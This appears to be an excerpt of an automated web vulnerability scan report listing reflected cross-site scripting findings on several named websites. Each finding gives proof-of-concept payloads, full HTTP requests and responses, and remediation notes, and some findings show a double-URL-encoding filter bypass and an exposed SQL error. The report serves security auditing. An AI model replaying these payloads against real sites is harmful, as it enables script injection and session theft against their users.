The value of REST URL parameter 3 is copied into an HTML comment. The payload fd4ac--><script>alert(1)</script>2923402d058 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /onlinepubs/009629399/apdxa.htmfd4ac--><script>alert(1)</script>2923402d058 HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:06:29 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4272
The value of the bid request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload cca3d%3balert(1)//9aef970de53 was submitted in the bid parameter. This input was echoed as cca3d;alert(1)//9aef970de53 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsfb/embed.php?pid=3922&bid=2123cca3d%3balert(1)//9aef970de53 HTTP/1.1 Host: www.paperg.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
var IMAGE_ROOT = 'http://www.paperg.com/beta/'; var flyerboard_root = 'http://www.paperg.com/jsfb/'; var remote_ip = '173.193.214.243'; var view = ''; var edit = '0'; var EMBED_URL2123cca3d;alert(1)//9aef970de53 = 'http://www.paperg.com/jsfb/embed.php?pid=3922&bid=2123cca3d%3balert(1)//9aef970de53';
//-- getting all script elements from document var scripts = document.getElementsByTagName('script'); ...[SNIP]...
The value of the bid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5da04'-alert(1)-'3a2639eb879 was submitted in the bid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsfb/embed.php?pid=3922&bid=21235da04'-alert(1)-'3a2639eb879 HTTP/1.1 Host: www.paperg.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
var IMAGE_ROOT = 'http://www.paperg.com/beta/'; var flyerboard_root = 'http://www.paperg.com/jsfb/'; var remote_ip = '173.193.214.243'; var view = ''; var edit = '0'; var EMBED_URL21235da04'-alert(1)-'3a2639eb879 = 'http://www.paperg.com/jsfb/embed.php?pid=3922&bid=21235da04'-alert(1)-'3a2639eb879';
//-- getting all script elements from document var scripts = document.getElementsByTagName('script');
//-- grabbing our script element var scriptEl = scripts[ scripts.length - 1 ];
...[SNIP]...
4.1360. http://www.paperg.com/jsfb/embed.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.paperg.com
Path:
/jsfb/embed.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e6c3d'-alert(1)-'805b94c064 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsfb/embed.php?pid=3922&bid=2123&e6c3d'-alert(1)-'805b94c064=1 HTTP/1.1 Host: www.paperg.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
var IMAGE_ROOT = 'http://www.paperg.com/beta/'; var flyerboard_root = 'http://www.paperg.com/jsfb/'; var remote_ip = '173.193.214.243'; var view = ''; var edit = '0'; var EMBED_URL2123 = 'http://www.paperg.com/jsfb/embed.php?pid=3922&bid=2123&e6c3d'-alert(1)-'805b94c064=1';
//-- getting all script elements from document var scripts = document.getElementsByTagName('script');
//-- grabbing our script element var scriptEl = scripts[ scripts.length - 1 ]; ...[SNIP]...
The value of the pid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db653'-alert(1)-'db295b4a728 was submitted in the pid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsfb/embed.php?pid=3922db653'-alert(1)-'db295b4a728&bid=2123 HTTP/1.1 Host: www.paperg.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
var IMAGE_ROOT = 'http://www.paperg.com/beta/'; var flyerboard_root = 'http://www.paperg.com/jsfb/'; var remote_ip = '173.193.214.243'; var view = ''; var edit = '0'; var EMBED_URL2123 = 'http://www.paperg.com/jsfb/embed.php?pid=3922db653'-alert(1)-'db295b4a728&bid=2123';
//-- getting all script elements from document var scripts = document.getElementsByTagName('script');
//-- grabbing our script element var scriptEl = scripts[ scripts.length ...[SNIP]...
4.1362. http://www.parenthood.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.parenthood.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d1907'-alert(1)-'807a8eb3eff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?d1907'-alert(1)-'807a8eb3eff=1 HTTP/1.1 Host: www.parenthood.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:54:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=bbrk35ahflo8ifh800tav2f6k6; path=/ Vary: Accept-Encoding Cache-Control: public Expires: Thu, 15 May 2010 20:00:00 GMT Connection: close Content-Type: text/html; charset=ISO-8859-1 Set-Cookie: BIGipServerwww_parenthood.com_http_pool=457334026.20480.0000; path=/ Content-Length: 106944
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta htt ...[SNIP]... <script type="text/javascript">
OAS_rn = new String(Math.random()); OAS_rn ...[SNIP]...
4.1363. http://www.sailinganarchy.com/article_submission.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.sailinganarchy.com
Path:
/article_submission.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fdb2"><script>alert(1)</script>eff65952e99 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /article_submission.php/8fdb2"><script>alert(1)</script>eff65952e99 HTTP/1.1 Host: www.sailinganarchy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:28:50 GMT Server: Apache Vary: User-Agent Content-Length: 4014 Connection: close Content-Type: text/html
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 10ba7<script>alert(1)</script>027582b0bfb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts10ba7<script>alert(1)</script>027582b0bfb/articles/blood_sugar.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:30:22 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1295922622" Last-Modified: Tue, 25 Jan 2011 02:30:22 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107109 (MII-APC/1.6) Connection: close Content-Length: 27346
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts10ba7<script>alert(1)</script>027582b0bfb/articles/blood-sugar.html </div> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e81cc<script>alert(1)</script>2f2a9ded22f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts/articlese81cc<script>alert(1)</script>2f2a9ded22f/blood_sugar.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:30:47 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1295922647" Last-Modified: Tue, 25 Jan 2011 02:30:47 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107103 (MII-APC/1.6) Connection: close Content-Length: 27346
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts/articlese81cc<script>alert(1)</script>2f2a9ded22f/blood-sugar.html </div> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 6ed33<script>alert(1)</script>6dc486f4e04 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts/articles/blood_sugar.html6ed33<script>alert(1)</script>6dc486f4e04 HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:31:19 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1295922679" Last-Modified: Tue, 25 Jan 2011 02:31:19 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107103 (MII-APC/1.6) Connection: close Content-Length: 27346
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts/articles/blood-sugar.html6ed33<script>alert(1)</script>6dc486f4e04 </div> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6b6e7<script>alert(1)</script>7501bcb859 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts6b6e7<script>alert(1)</script>7501bcb859/articles/workout_schedule.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:30:14 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1295922614" Last-Modified: Tue, 25 Jan 2011 02:30:14 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107102 (MII-APC/1.6) Connection: close Content-Length: 27354
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts6b6e7<script>alert(1)</script>7501bcb859/articles/workout-schedule.html </div> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 42a76<script>alert(1)</script>719a71fabf5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts/articles42a76<script>alert(1)</script>719a71fabf5/workout_schedule.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:30:47 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1295922647" Last-Modified: Tue, 25 Jan 2011 02:30:47 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107114 (MII-APC/1.6) Connection: close Content-Length: 27356
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts/articles42a76<script>alert(1)</script>719a71fabf5/workout-schedule.html </div> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload f9e83<script>alert(1)</script>d9fcde00515 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /workouts/articles/workout_schedule.htmlf9e83<script>alert(1)</script>d9fcde00515 HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:31:24 GMT Server: Apache Vary: Accept-Encoding Cache-Control: max-age=900 Expires: X-Server-Name: (null) ETag: "1295922684" Last-Modified: Tue, 25 Jan 2011 02:31:24 +0000 X-Powered-By: PHP/5.2.13 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Content-Type: text/html; charset=utf-8 Via: 1.1 mdw107103 (MII-APC/1.6) Connection: close Content-Length: 27356
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:meebo="http://www.meebo.com" ...[SNIP]... <br /> workouts/articles/workout-schedule.htmlf9e83<script>alert(1)</script>d9fcde00515 </div> ...[SNIP]...
4.1370. http://www.soundingsonline.com/about-us [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/about-us
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 755fe%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb97b88a4df6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 755fe"><script>alert(1)</script>b97b88a4df6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /about-us?755fe%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb97b88a4df6=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:15 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1371. http://www.soundingsonline.com/advertise [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/advertise
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3409%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2e24591c134 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a3409"><script>alert(1)</script>2e24591c134 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /advertise?a3409%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2e24591c134=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:31:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:31:10 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The value of the '"--></style></script><script>alert(0x001E2B)</script> request parameter is copied into the HTML document as plain text between tags. The payload c4e94<a>353682fa55e was submitted in the '"--></style></script><script>alert(0x001E2B)</script> parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /archives?'"--></style></script><script>alert(0x001E2B)</script>c4e94<a>353682fa55e HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.soundingsonline.com
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=jfj578l38bjt9jl82m4g7tr920; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:28:48 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the ...[SNIP]... </script>c4e94<a>353682fa55e' AND co' at line 1</font> ...[SNIP]...
4.1373. http://www.soundingsonline.com/archives [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.soundingsonline.com
Path:
/archives
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 9a4f6<a>1bd7300bcc0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /archives?'"--></style></script><script>alert(0x001E2B)</script>&9a4f6<a>1bd7300bcc0=1 HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.soundingsonline.com
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:29:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=0mofbqpbltb8gduh5me9ne6ql3; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:29:18 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the ...[SNIP]... </script>&9a4f6<a>1bd7300bcc0=1' AND' at line 1</font> ...[SNIP]...
4.1374. http://www.soundingsonline.com/boat-shop [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa446%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebb3bb3a680e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as aa446"><script>alert(1)</script>bb3bb3a680e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop?aa446%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebb3bb3a680e=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:30 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:30 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1375. http://www.soundingsonline.com/boat-shop/know-how [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/know-how
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 777a1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d991553d87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 777a1"><script>alert(1)</script>1d991553d87 in the application's response.
